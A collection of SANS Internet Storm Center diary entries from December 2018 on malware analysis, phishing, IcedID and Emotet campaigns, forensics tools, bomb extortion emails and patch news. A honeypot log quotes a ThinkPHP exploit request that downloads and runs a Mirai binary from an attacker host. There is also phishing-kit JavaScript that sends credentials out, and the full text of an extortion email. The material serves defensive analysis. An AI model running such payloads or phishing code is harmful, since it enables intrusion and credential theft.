Recently, I experienced a couple of stop errors (also known as Blue Screen of Death) on a Windows machine, that I was able to fix with the help of NirSoft's BlueScreenView utility. With this utility, I immediately pinpointed the cause of the crashes to a driver that I was able to update.

And that reminded me of another NirSoft tool: AppCrashView.

Like BlueScreenView, AppCrashView is a convenient GUI programs that presents application crash reports found in the WER folder in a table:

I used to take a regular look at the application crashes on my machine, to identify applications who could have security problems, like buffer overflows. Depending on the results and frequency of crashes, I would update or replace the application.
And sometimes, it was the starting point of vulnerability research.

I will make this a habit again, and you could too, as AppCrashView is a simple, convenient program that gives an tabular overview of application crashes, without requiring a debugger.
If you want to do this in a more organized and scalable way, know that application crashes are also recorded in the Windows Application Event log.

Please post a comment if you have tips or suggestions to monitor application crashes.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

OWASP released "OWASP Top 10 Internet of Things 2018". "The OWASP Internet of Things Project is designed to help manufacturers, developers, and consumers better understand the security issues associated with the Internet of Things, and to enable users in any context to make better security decisions when building, deploying, or assessing IoT technologies."

1-Weak, Guessable, or Hardcoded Passwords:

Use of easily bruteforced, publicly available, or unchangeable credentials, including backdoors in firmware or client software that grants unauthorized access to deployed systems.

2-Insecure Network Services :

Unneeded or insecure network services running on the device itself, especially those exposed to the internet, that compromise the confidentiality, integrity/authenticity, or availability of information or allow unauthorized remote control...

3-Insecure Ecosystem Interfaces

Insecure web, backend API, cloud, or mobile interfaces in the ecosystem outside of the device that allows compromise of the device or its related components. Common issues include a lack of authentication/authorization, lacking or weak encryption, and a lack of input and output filtering.

4-Lack of Secure Update Mechanism

Lack of ability to securely update the device. This includes lack of firmware validation on device, lack of secure delivery (un-encrypted in transit), lack of anti-rollback mechanisms, and lack of notifications of security changes due to updates.

5-Use of Insecure or Outdated Components

Use of deprecated or insecure software components/libraries that could allow the device to be compromised. This includes insecure customization of operating system platforms, and the use of third-party software or hardware components from a compromised supply chain.

6-Insufficient Privacy Protection

User’s personal information stored on the device or in the ecosystem that is used insecurely, improperly, or without permission.

7-Insecure Data Transfer and Storage
Lack of encryption or access control of sensitive data anywhere within the ecosystem, including at rest, in transit, or during processing.

8-Lack of Device Management

Lack of security support on devices deployed in production, including asset management, update management, secure decommissioning, systems monitoring, and response capabilities.

9-Insecure Default Settings

Devices or systems shipped with insecure default settings or lack the ability to make the system more secure by restricting operators from modifying configurations.

10-Lack of Physical Hardening
Lack of physical hardening measures, allowing potential attackers to gain sensitive information that can help in a future remote attack or take local control of the device.

===============================

https://www.owasp.org/index.php/OWASP_Internet_of_Things_Project

 

I created a video showing how to de-obfuscate a DOSfuscated PowerShell command obtained from a maldoc I analyzed in diary entry "De-DOSfuscation Example":

This is the obfuscated command:

In the video, I rely mainly on my tool numbers-to-string to do the de-obfuscation.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Reader Frank submitted a suspicious email with attachment: a score of zero on VirusTotal, but McAfee warned for an exploit. Taking a look at the content, Frank notice content that looked like encrypted code.

This is the suspicious content:

This looks like BASE64 encoded content.

A tip: if you encounter content that looks encoded or encrypted, analyze it with my base64dump tool. This tool recognizes different kinds of encodings, not only BASE64. Use base64dump with option "-e all" to try out all encodings it supports. This will give you output like this:

All decoded strings are listed, from shortest to longest. The longest decoded string is 47668 characters long, and is BASE64 encoded (b64). The decoded string starts with "<!DOCTYPE html>": it's an HTML document encoded inside an HTML document.

Looking at the content of the decoded document, I see many German words related to banking. Hence this might be a phishing email to collect banking details. When it comes to the analysis of complex HTML forms, I like to take a look at the document with a browser (in a disconnected virtual machine). A picture is worth a thousand words ...

The content of this form has to be delivered to the phisher. Via HTTP or email, for example. To quickly search for URLs and emails in the HTML document, I use my re-search tool with option "-n all" to look for different types of IOCs like URLs and email addresses:

The last URL looks like a web page counter, but it's not for the phishing page, as the stats go back many years:

And I would like to hope that there haven't been 150.000 victims falling for this phish...

Still, we can get an indication of the success of this phish, with the following statistics:

The most popular day is Thursday 20-12-2018 with 882 visitors, and Frank submitted this sample Wednesday 19th ...

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

At the Internet Storm Center, we regularly get malware and fraudulent emails including Bitcoin addresses. Like the extortion emails including leaked passwords. And we often search online for these Bitcoin addresses, to see what else we can find.

Recently, with the "bomb extortion" emails, I was looking up Bitcoin addresses and came accross a site called "Bitcoin Abuse Database". It's a repository of Bitcoin addresses that are used for scams and fraud.

For example, here is the report for Bitcoin address 1LeReNiUgHNXvvR8TpgQG1b5nzqoKeUxDY.

It looks like a great resource to lookup Bitcoin addresses, and report on addresses used for scams and fraud, although I don't know who is behind this initiative.

Do you know similar resources? Please post a comment.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

If you are doing memory forensics using Volatility, maybe you have noticed that one of the disadvantages that you can’t do a live analysis. If you need to do live memory forensics, then Rekall is your best friend.

Rekall can be obtained from the following location:

https://github.com/google/rekall/releases

Rekall supports the following Operation systems:

• Microsoft Windows XP Service Pack 2 and 3
• Microsoft Windows 7 Service Pack 0 and 1
• Microsoft Windows 8 and 8.1
• Microsoft Windows 10
• Linux Kernels 2.6.24 to most recent.
• OSX 10.7-10.12.x.

For this diary, I am going to use Rekall for Windows. The installation is straightforward.

Rekall needs to be run as administrator to perform the live analysis. Unfortunately, sometimes you need to specify the profile to do the analysis. To find the right profile type the following command inside the Rekall console:

version_scan name_regex="krnl"

 

Now locate the guid for ntkrnlmp.pdb

In my case its “5B396742883C48D0AB74C7374DEEE9161”

Now exit from rekall console by typing:

quit

 

Now run rekall again with the following command (notice that I have provided the guid in the command):

rekal live --profile=nt/GUID/5B396742883C48D0AB74C7374DEEE9161

 

Now we can play with rekall , here are some examples,

 

To list the available plugins

dir(plugins)

List the running process:

pslist

 

To list the process tree:

pstree

To view the services and save the output to services.txt

services(output="services.txt")

 

While reviewing my honeypot logs, I found some interesting entries associated with the Mirai botnet starting the 30 November 2018. This is the last log sample that was captured 2 days ago:

20181221-233854: 192.168.25.9:80-59.44.177.238:56831 data 'GET /index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://cnc.junoland.xyz/bins/egg.x86;cat%20egg.x86%20>%20lzrd;chmod%20777%20lzrd;./lzrd%20thinkphp.x86 HTTP/1.1\r\nHost: 127.0.0.1\r\nUser-Agent: Sefa\r\nAccept: */*\r\nAccept-Language: en-US,en;q=0.8\r\nConnection: Keep-Alive\r\n\r\n'

Looking at the entry, I noticed a URL that appears to attempt to download a file of interest (egg.x86). After checking the site, the filename had changed to larry.x86 and checking this hash against Virustotal, it shows an attempt to add this host to the Mirai[3] botnet. The sites (listed below) have various exploits for various system including X86, MIPS, Internet of Things (IoT),etc. This is the list of files observed yesterday morning:

This is the list of files later that day:

Based on what I have been able to observe, the files appears to be modified at least twice each day (MD5 & SHA256 below) to fool and avoid detection.

Yesterday's MD5 & SHA25 Hashes

b7a6aa2cae779ccf703cd69dc4f6a2b6  egg.x86
29e4a73c32d1e27125a04d5e316a0f56  larry.x86
3a49d1fdd9f19b8031a6c07ea8c8ffa92b2563864729a4cc8ec68f5a9f96d999  egg.x86
e25521b6d5c974a8844d55a7f67b9ad6fc15129a7d6988695c01f25da06e9308  larry.x86

This is a list of sites to monitor for suspicious activity and block:

cnc.methaddict.xyz (currently offline)
cnc.arm7plz.xyz (currently offline)
cnc.junoland.xyz (currently active)

[1] https://www.virustotal.com/#/file/e25521b6d5c974a8844d55a7f67b9ad6fc15129a7d6988695c01f25da06e9308/detection
[2] https://www.virustotal.com/#/file/3a49d1fdd9f19b8031a6c07ea8c8ffa92b2563864729a4cc8ec68f5a9f96d999/detection
[3] https://www.corero.com/resources/ddos-attack-types/mirai-botnet-ddos-attack.html

-----------
Guy Bruneau IPSS Inc.
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

The SANS Holiday Hack Challenge is an annual, free CTF. Most of you already know that.

This year, it includes KringleCon 2018. A virtual online hacker conference hosted on YouTube with 51 presentations by "various artists" ;-).

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

In today's world, we all try to do as much as we can to be secure while online. Most have learned the signs to try to spot phishing attempts:  misspelled words, broken english, urgent requests etc.  We even implement 2FA to help prove that someone is who they say they are when they are authenticating to a site.  As we try to up our security game, the bad guys up their tactics too.  Amnesty.org shared an interesting write up about phishing attacks that are bypassing 2FA.  According to the article, there is a large phishing campaign that is that is targeting Gmail and Yahoo accounts. 

The emails being sent are "proported" to be alerts you would see if someone logged in from another location.  This is an example of one the emails being reported:

 

When the user clicks on the link, they are directed to the phishing site.  It seems the server is also running an installation of Selenium with Chrome Driver.  Chrome Driver is basically a server that does the implementation of WebDriver, which is used for automated testing of web applications.  You can do stuff such as navigating to web pages, user input, JavaScript execution etc.   So this phishing site can now interact with the input provided by the user and capture it.  If you think MITM attack at this point, you would be correct. How much manipulation is actually done, is not really known, nor the point.  The attacker is forwarding the request to authenticate to the actual server.  The password is provided and then the user is prompted for the 2FA (whatever method is being used).  The user now has the token that has been sent to the user's cell phone (or whatever method is used for the token) and input into the phishing site to authenticate.  Plenty of time is allowed for the attacker to actually use the token and authenticate into the account and setup an "app password" so they don't have to mess with 2FA anymore.  Just use Outlook or some other app to keep a persistant hold on the account using the app password.  The user is none the wiser at this point.  Everything looks completely normal. 

User awareness is really key, especially as the attacks get more sophisticated.  If you look at the email above, it is from "Goolge" which isn't readily apparent at a quick glace.  Getting users to think before they click is key, but how else would you detect something like this.  Any ideas or suggestions for how to detect this, please send them in!

 

https://www.amnesty.org/en/latest/research/2018/12/when-best-practice-is-not-good-enough/

https://support.microsoft.com/en-us/help/12409/microsoft-account-app-passwords-and-two-step-verification

http://chromedriver.chromium.org/

https://www.seleniumhq.org/

 

 

In most of our networks, endpoints are often the weakest link because there are more difficult to control (example: laptops are travelling, used at home, etc).They can also be located in different locations even countries for biggest organizations. To better manage them, tools can be deployed to perform many different tasks:

• Remote support (used by the helpdesk to gather information about the host and take remote control of the session to help the user)
• Antivirus solutions (lookg legit)
• HIDS solutions (for detection)
• Security agents (for investigations)
• ...

The multiplication of all those agents requires resources, a deployment process, maintenance and so on. Depending on your network size, specific tools can also be very expensive when the licensing model is based on IP addresses or endpoints. There are nice solutions to perform remote forensic actions on a host like Google Rapid Response[1], Mozzilla InvestiGator[2] or FastIR[3] but all of them require a specific plugin. Why not try to reduce the number of such agents and use the available features at the maximum? OSSEC[4] is a well-know HIDS solution that uses its own agent to be deployed on hosts to protect. Then, it can export logs to a central server, check for changes on file systems (via a 'File Integrity Monitoring' feature), search for rootkits and trojans. But it has also a feature called ‘Active-Response’. This feature is defined on the OSSEC website like:

"The Active Response feature within OSSEC can run applications on an agent or server in response to certain triggers. These triggers can be specific alerts, alert levels, or rule groups."

The classic usage provided by default with a fresh install of OSSEC is a protection against brute-force attacks. When such attack is detected, a script is launched via the agent on the targeted system to block the attacker. These actions are usually reactive to reduce the surface attack. Another example is the automatic generation of your own blocklist based on our DShield database (This was one of my first diaries published on the ISC website[5]).

But the Active-Response principle can also be used in a DFIR approach to gather evidences from a remote host when something suspicious has been detected! Active-Response can be configured to execute anything on the host. Why not prepare some scripts to perform the following actions:

• To start a full-packet capture based on the attacker IP address
• To take a memory image of the host
• To list processes and open files on the host
• To search for a file or execute a YARA scan

As an example, let’s take the case of a full packet capture. To configure a new Active-Response action, follow these steps:

Create a new command:

<command>
  <name>tcpdump-attacker</name>
  <executable>tcpdump.sh</executable>
  <expect>srcip</expect>
  <timeout_allowed>no</timeout_allowed>
</command>

Create the new active-response:

<active-response>
  <command>tcpdump-attacker</command>
  <location>local</location>
  <level>6</level>
  <rules_id>100100, 100200, 100300</rules_id>
</active-response>

How to read these XML blocks? When alerts 100100 or 100200 or 100300 are triggered, execute on the endpoint the script ’tcpdump.sh’ with the source IP address of the event in argument (which is the attacker’s IP address).

The script tcpdump.sh looks like:

#!/bin/bash
IP=$3
PWD=`pwd`
LOG_FILE="${PWD}/../logs/active-responses.log"
[ "x${IP}" = "x" ] && exit 1
echo "`date` $0 $1 $2 $3 $4 $5" >> ${LOG_FILE}
/usr/sbin/tcpdump -i any -s 0 -G 600 -W 1 -w /var/tmp/tcpdump-$IP-%Y%m%d%H%M.pcap src host $IP or dst host $IP

This script will execute tcpdump for 10 mins and write packets in a unique file in /var/tmp.

Even better, OSSEC provides a management tool to manually start manually an Active-Response script on an endpoint:

# ./agent_control -b 8.8.8.8 -f tcpdump-attacker -u 025

This command will capture all the traffic from/to the Google DNS for 10 mins on the agent ID 025.

This solution does not provide the flexibility of classic DFIR agents but, if you already deployed OSSEC, you have a nice way to collect information from a remote host!

[1] https://github.com/google/grr
[2] https://github.com/mozilla/mig
[3] https://github.com/SekoiaLab/FastIR_Agent
[4] https:///www.ossec.net/
[5] https://isc.sans.edu/forums/diary/Guest+Diary+Xavier+Mertens+Playing+with+IP+Reputation+with+Dshield+OSSEC/19757

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Microsoft just published an out-of-band patch for Internet Explorer. It fixes a memory corruption vulnerability in the scripting engine. This vulnerabiliy is identified as %%cve:2018-8653%%.

When successfully exploited, Internet Explorer could execute arbitrary code in the context of the current user. To exploit the vulnerability, the victim must just visit a malicious web page delivered through a phishing email or social engineering. 

Internet Explorer version 9, 10 & 11 are affected. For a detailed list of the affected systems, Microsoft published the details here: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8653.

Please install the provided patches as soon as possible!

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

The Christmas break is coming for most of us, let's take some time to share some tips to better protect our computers. The Microsoft Windows OS has plenty of tools that, when properly used, can reduce risks to be infected by a malware. As best practices, we must have antivirus enabled, we can deploy AppLocker to allow only authorized applications to be launched, we can restrict applications to be executed from locations like %APPDATA% or %TEMP% but they are tools that are much more difficult to restrict on a regular host like... Powershell! If you uninstall Powershell from a modern Windows version, you’ll simply miss nice features. That's why, in many cases, a simple uninstall is not possible. That’s also the reason why Powershell remains a nice first stage infection method:

• It is installed by default
• Its code is easy to obfuscate
• It uses the complete Microsoft API to download files, execute them or perform injection or more low level operations.

Windows has a built-in firewall that provides interesting features. You can not only restrict traffic based at layer 3: from <ip>:<port> to <ip>:<port> but you can also restrict traffic based on application. Microsoft recommands to enable this firewall (and you receive continuous notifications when it's not).

Let’s create two rules. The first one allow Powershell to access our local subnet and the second one drops any traffic

C:\> netsh advfirewall firewall add rule name=“PS-Allow-LAN" dir=out \
     remoteip=localsubnet action=allow program="c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe" \
     enable=yes
C:\> netsh advfirewall firewall add rule name=“PS-Deny-All" dir=out \
     action=block program="c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe" \
     enable=yes

Of course, we can have multiple Powershell binaries spread across the file system. Let’s add the above rules for all of them:

C:\> for /R %f in (powershell*.exe) do (
netsh advfirewall firewall add rule name=“PS-Allow-LAN (%f)" dir=out remoteip=localsubnet action=allow program=“%f" enable=yes
netsh advfirewall firewall add rule name=“PS-Deny-All (%f)" dir=out action=block program=“%f" enable=yes
)

Note that this technique does not block nasty malware like the one which was reported by Didier in a recent diary[1]. In this case, a copy of Powershell was used with a random name. If you use a proxy to access Internet resources, it could also be a good idea to restrict access to its IP address.

Finally, Powershell (if run with enough privileges) can disable the local firewall:

Set-NetFirewallProfile -Profiel Domain,Public,Private -Enabled False

You can apply the same kind of control to other tools that should not access Internet resources.

[1] https://isc.sans.edu/forums/diary/Maldoc+Duplicating+PowerShell+Prior+to+Use/24254

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Introduction

Malicious spam (malspam) using some form of password protection is nothing new.  I've blogged about it before, and yesterday Didier Stevens posted an example.

I've been tracking a long-running campaign that uses password-protected Word documents to push various types of malware (more info here).  This campaign recently updated its tactics.  Previously, its malspam had been using attached Word documents to distribute (mostly) Nymaim malware.  However, last week I saw a tweet about the same type of password-protected Word document pushing IcedID (a banking Trojan also known as Bokbot).  On Monday 2018-12-17, MyOnlineSecurity.co.uk reported the same campaign continued to push IcedID, but it had switched to links in the emails instead of using attachments.  Otherwise, the method of infection is remarkably similar to previous waves of this malspam.

Today's diary examines an infection from this campaign that I generated on Monday 2018-12-17.

Shown above:  Flow chart for recent infection traffic from this campaign.

The malspam

Unfortunately, I don't have any copies of this malspam.  Below is a screenshot I created from one of the images in the report by MyOnlineSecurity.co.uk.  These emails contain links using Google that direct traffic to a URL designed to return a password-protected Word document.

Shown above:  Screenshot of a malspam example reported by MyOnlineSecurity.co.uk.

That URL was still active when I checked on Monday, so I used it to download a password-protected Word document.  After unlocking the Word document with the password 1234, I enabled macros infect a vulnerable Windows host.  This Word document used the same template I saw in a recent example that pushed Nymaim last week.

Shown above:  Downloading a password-protected Word document from one of the URLs reported by MyOnlineSecurity.co.uk.

Shown above:  After unlocking the password-protected Word document, enable macros to infect a vulnerable Windows host.

Infection traffic

After the initial traffic returned a password-protected Word document, the next HTTP request returned a Windows executable from 209.141.61[.]249.  Post-infection traffic caused by IcedID was similar to previous IcedID infections I've seen during the past few weeks.

Shown above:  Traffic from the infection filtered in Wireshark.

Shown above:  Certificate data from the HTTPS/SSL/TLS traffic caused by IcedID (1 of 2).

Shown above:  Certificate data from the HTTPS/SSL/TLS traffic caused by IcedID (2 of 2).

Shown above:  HTTP websocket traffic caused by IcedID.

Forensics on the infected host

As usually seen in password-protected Word documents from this campaign, the Windows executable was initially saved as C:\Users\[username]\AppData\Local\Temp\qwerty2.exe.  When the executable was run, it dropped a handful of seemingly random files under the AppData/Local/Temp directory.  The IcedID executable was copied to a folder under the C:\ProgramData directory.  IcedID was made persistent through a scheduled task.

Shown above:  Artifacts from this infection created in the user's AppData\Local\Temp directory.

Shown above:  IcedID made persistent through a scheduled task.

Indicators

The following are indicators from an infected Windows host.  Any malicious URLs, IP addresses, and domain names have been "de-fanged" to avoid any issues when viewing today's diary.

Traffic from an infected Windows host:

• 209.141.42[.]165 port 80 - 13207303642.aircq[.]com - GET /88924438472
• 139.59.147[.]170 port 80 - 139.59.147[.]170 - GET /important.doc
• 209.141.61[.]249 port 80 - 209.141.61[.]249 - GET /23.exe
• 185.223.163[.]26 port 443 - labadegmc[.]com - HTTPS/SSL/TLS traffic caused by IcedID
• 185.223.163[.]26 port 80 - emirpa[.]host - GET /data2.php?E846C913B2BC88F9 (caused by IcedID)
• 195.69.187[.]56 port 443 - seirfa[.]pw - HTTPS/SSL/TLS traffic caused by IcedID
• 185.223.163[.]26 port 443 - emirpa[.]host - HTTPS/SSL/TLS traffic caused by IcedID
• DNS queries for foxpartsearch[.]com (not answered)

malware from an infected Windows host:

SHA256 hash: 4b95bb2a583713acb3cfee2996975573f892021a0b4c8880e659bbd569662e64

• File size: 40,960 bytes
• File location: hxxp://139.59.147[.]170/important.doc
• File name: important.doc
• File description: Password-protected Word doc from links in malspam

SHA256 hash: f476342981c639d55ce2f5471c3e9962fd2d5162890e55d2b4e45ddc641f207f

• File size: 157,816 bytes
• File location: hxxp://209.141.61[.]249/23.exe
• File location: C:\Users\[username]\AppData\Local\Temp\qwerty2.exe
• File description: IcedID retrieved by the word macro

SHA256 hash: 4028187ea85858aa7372eafb6813e33fe7345f8bc96a4d5291a359255982144b

• File size: 157,816 bytes
• File location: C:\ProgramData\{E10EAEFD-3D5F-E2EA-0DBD-B1174931C85D}\gbwwwwj.exe
• File description: IcedID persistent on the infected Windows host

Final words

A pcap of the infection traffic and malware associated with today's diary can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

Reader Jason submitted a malicious document that he analyzed completely. A small problem encountered by Jason was the following: the malicious document, emailed to his users, was contained in a password protected ZIP file.

The password was included in the email, and the sandbox used it to extract the malicious document before analysis. But when Jason obtained the maldoc from the sandbox, he had not way to get thet password too.

Jason used fcrackzip and the rockyou password list to recover the password:

#fcrackzip -v -D -u -p rockyou.txt Hexnet.zip
#found file 'information.doc', (size cp/uc  54053/ 88576, flags 1, chk e466)


#PASSWORD FOUND!!!!: pw == 1234567

IOCs shared by Jason:

Zip hash:
ff2d4388aa2ce83d57b08fdbf6a9cd89cec88120f64f7c25d4070b7c1f8a5f82

Doc Hash:
56f82a2ef3e1775059c4cde4998fa5bea6b114c0e993246f5eaee16a48bd546f

URL Download:
hxxp://duenexacch[.]com/tyclam/fressr.php?l=kanc13.tkn

Executable hash:
58aa79ff20f04ded3f9fe7bc251f52ff49d20a118fcf5236203ffa6bd0adbcf0

Thanks for the tip Jason!

I would like to add a couple of remarks.

zipdump.py, my Python tool to analyze ZIP files and their content, supports passwords and password recovery. By default, zipdump will try password "infected". If that fails, you can provide another password with option -p, or a password list (like rockyou) with option -P. zipdump also has a small build-in list of popular passwords, that can be used by typing a dot (.) as option P value:

The ZIP file contains a .doc file, that can be selected for further processing (since the password was recovered with -P ., the content can be extracted):

This ole file can then be analyzed with oledump.py, for example:

The simple string analysis method I explained in diary entry "Quickie: String Analysis is Still Useful" doesn't give the expected result:

The DOSfuscated PowerShell command is split over 2 strings. That's because, unfortunetaly for us, the malicious command is stored in 2 stream sectors that are not contiguous.

 

There is however an easy workaround: let oledump.py dump all the streams (-s a) and extract the strings (-S):

 

 

And now this can be deobfuscated as explained in diary entry "De-DOSfuscation Example":

 

 

 

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Over the past several months I have been observing random Remote Desktop Protocol (RDP) activity targeting my honeypot. Back in September, US-Cert [1] issued an alert regarding RDP being actively used and exploited by malicious actors released by the FBI [2].

The default Windows service port for RDP is TCP 3389 and the activity against this service can easily be identified in the packets with "Cookie: mstshash=".

It the past 6 weeks I have observed this activity on its default port including multiples other ports from various sources, testing access using mainly two username (i.e. hello, Administr).

Obviously this service should not be exposed directly to Internet and if used should be secured appropriately with a strong password and should be monitored for unusual activity. More information is available here to further protect against RDP-based attacks.

[1] https://www.us-cert.gov/ncas/current-activity/2018/09/28/IC3-Issues-Alert-RDP-Exploitation
[2] https://www.ic3.gov/media/2018/180927.aspx

-----------
Guy Bruneau IPSS Inc.
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

I received some questions about the de-DOSfuscation I did with Python in my last diary entry: "Yet Another DOSfuscation Sample".

From a reader submitted malicious document, I extracted the following command:

This DOS command uses a for loop to convert the numbers in yellow to a new command (PowerShell). The numbers are not converted to characters using the ASCII table, but using a custom table that is provided with variable eA0 (the characters in red).

An interpreter like Python can be used to do the conversion. Here is how I did this, step by step:

First I put the numbers in a list, that I let Python print:

Remark that I did not include the last number present in the list (86): this number indicates the end of the list and is not to be converted to a character (this would cause an index error if I tried).

Next I add a "list comprehension" to the Python statement: [number for number in [... numbers ...]]:

With this list comprehension, I can perform a calculation with each number in the list, by replacing the expression number by a more complex expression. What I do, is use number to index the "red string": ['''red string'''[number] for number in [... numbers ...]]:

Also, remark that the "red string" contains a single quote, hence I can not use a single quote to delimit the string: that's why I use 3 single quoutes: '''red string'''.

The result is a list of characters. I can now concatenate all those characters with ''.join(...):

Let me illustrate a couple of errors you might encounter when you apply this method.

First, you get this when you include the last number (86):

"string index out of range": 86 is bigger than the largest index that can be used on the "red string", hence I get this index error. 86 is not an "index number", but a "stop number".

This is the error you get if you use single quotes to delimit the "red string":

The single quote inside the "red string" is taken as the closing single quote of the string, and the remainder of the string is parsed as a Python expression, which fails.

Finally, I updated my numbers-to-string tool with option -t, so that you don't have to write a long Python statement to do the decoding, but can use my numbers-to-string tool instead:

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

First sextortion, now bombstortion?

Today we have received a couple of reports of a new email based extortion message being delivered to email boxes.  In clumsy English, the message threatens that a bomb has been planted in your building, and if you don't pay $20000 in bitcoin, by the end of the day the bomb will be exploded.  This threat has caused a great deal of excitement, leading to lockdowns and evacuations in numerous cities in North America.

Sample email looks like:

---
Subject: Think twice

  There is the bomb (tronitrotoluene) in the building where your business is located. My recruited person constructed an explosive device under my direction. It has small dimensions and it is hidden very well, it is impossible to damage the supporting building structure by my bomb, but there will be many wounded people if it detonates.
My man is controlling the situation around the building. If any unnatural behavior, panic or emergency is noticed he will power the device.
I want to suggest you a deal. You send me $20'000 in Bitcoin and the bomb will not detonate, but do not try to fool me -I warrant you that I have to call off my man solely after 3 confirmations in blockchain network. 

My payment details (Bitcoin address)- 149oyt2DL52Jgykhg5vh7Jm1QpdpfuyVqd

You must pay me by the end of the workday. If the working day is over and people start leaving the building explosive will explode.
This is just a business, if I do not see the money and the bomb detonates, next time other commercial enterprises will send me a lot more, because this is not a single incident.
I wont enter this email. I check my Bitcoin wallet every 40 min and after seeing the payment I will order my mercenary to leave your district.

If an explosion occurred and the authorities see this letter:
We arent a terrorist society and do not assume responsibility for explosions in other places.
 

---

Other versions have shown the explosive as "Hexogen".

If anyone is willing to share email headers and/or BTC addresses from these messages I would appreciate it.  Please send to rwanner(at)isc.sans.edu.  If you could also include your location country, that could be interesting information.  

So far the bitcoin addresses I have seen show no payments.

This campaign is receiving a lot of interest from mainstream press as well. 

CNN (1) (2)

Brian Krebs has also posted.

US-CERT/NCCIC - has provided guidance on what you should do if you receive one of the bomb extortion emails.

 

Note: Sorry, I misread the original message and stated the ransom was 20000 BTC, when in fact it is $20000 in BTC. 

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)

Here is a nice example of phishing attack that I found while reviewing data captured by my honeypots. We all know that phishing is a pain and attackers are always searching for new tactics to entice the potential victim to click on a link, disclose personal information or more…

This time, the email mimicks a fake NDR (“Non Delivery Receipt”) from Microsoft Office 365. Here is an official one (just grabbed as is from Google image):


You probably already received this kind of notification. Office 365 being very popular, chances are increasing daily. Now, let’s have a look at the fake one:

Note also the interesting sender email address, this inspires extra trust isn’t it?

If you click on the link to resend the mail, guess what? The bad guy asks you to enter the password related to the email address passed as argument in the URL:

Here is the piece of code called when you submit the form:

function sendmails() {
  var em = $('#testx').val();
  var ps = $('#pass').val();
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      var response = JSON.parse(this.responseText);
      if (response.msg == "donesend") {
        $(".login_form").hide(); 
        $(".thanks").show(); setTimeout("window.location.href='https://outlook.office365.com/owa/?realm';",5000);
      } else {
        $("#warning").empty();
        $('#warning').append('Your email or password is incorrect. If you don\'t remember your password,<a href="#"> reset it now.<a/>');
      }
    }
  };
  xhttp.open("GET", "sendx.php?user=" + em + "&pass=" +ps, true);
  xhttp.send();
}

It is based on XMLHttpRequest[1] which allows the browser to make a query to another page without reloading the first one. Depending on the results of sendx.php, you get a warning message or a redirect to the official Outlook homepage. My guess is that the PHP code tries to validate the credentials against a Microsoft service.

[1] https://www.w3schools.com/xml/xml_http.asp

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Reader Vince asked for help with the analysis of a malicious Word document. He started the analysis himself, following the method I illustrated in diary entry "Word maldoc: yet another place to hide a command".
Following this method, Vince found a shell statement:

And then searched for string zOSpqpzMSfs, but couldn't find the PowerShell command.

In the diary entry followed by Vince, I search for a VBA string, that is a string delimited with double quotes: "j9tmrnmi". Because this VBA string is used to identify an object that we can find in the streams of the OLE file.
String zOSpqpzMSfs, what Vince is searching, is actually a VBA variable name, and not a VBA string. The value of this variable is calculated at run time, and is not explicitly stored as an object property:

That is why the method followed by Vince does not work for this sample. You need to find the value of the variable, for example by reverse engineering the VBA statements and then calculate the value accordingly.

But there is also a "quick-and-dirty" method that I illustrated in diary entry "Quickie: String Analysis is Still Useful": just search for long strings (printable character sequences) in the document file, regardless of the internal file structure.
This works for Vince's sample (here I'm grepping cmd to keep the output short):

What we have here, is a PowerShell command obfuscated with a DOSfuscation technique.

This command-line statement selects characters from the string in red using indices in yellow:

to build the following command:

I used Python to do the indexing and concatenation to decode the PowerShell command:

And this PowerShell command is a downloader: a command that downloads and executes a malicious executable.

Notice that this downloader tries 5 URLs:

wpthemes[.]com
tom-steed[.]com
bobvr[.]com
alexzstroy[.]ru
herbliebermancommunityleadershipaward[.]org

to download an Emotet variant.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

December 2018 Security Updates

Description
CVE	Disclosed	Exploited	Exploitability (old versions)	current version	Severity	CVSS Base (AVG)	CVSS Temporal (AVG)
.NET Framework Denial Of Service Vulnerability
%%cve:2018-8517%%	Yes	No	Unlikely	Unlikely	Important
.NET Framework Remote Code Injection Vulnerability
%%cve:2018-8540%%	No	No	Less Likely	Less Likely	Critical
Chakra Scripting Engine Memory Corruption Vulnerability
%%cve:2018-8583%%	No	No	-	-	Critical	4.2	3.8
%%cve:2018-8617%%	No	No	-	-	Critical	4.2	3.8
%%cve:2018-8618%%	No	No	-	-	Critical	4.2	3.8
%%cve:2018-8624%%	No	No	-	-	Critical	4.2	3.8
%%cve:2018-8629%%	No	No	-	-	Critical	4.2	3.8
Connected User Experiences and Telemetry Service Denial of Service Vulnerability
%%cve:2018-8612%%	No	No	More Likely	More Likely	Important	4.7	4.7
December 2018 Adobe Flash Security Update
ADV180031	No	No	-	-	Critical
Diagnostics Hub Standard Collector Service Elevation of Privilege Vulnerability
%%cve:2018-8599%%	No	No	More Likely	More Likely	Important	7.0	6.3
DirectX Information Disclosure Vulnerability
%%cve:2018-8638%%	No	No	-	-	Important	4.7	4.2
Internet Explorer Memory Corruption Vulnerability
%%cve:2018-8631%%	No	No	More Likely	More Likely	Critical	6.4	5.8
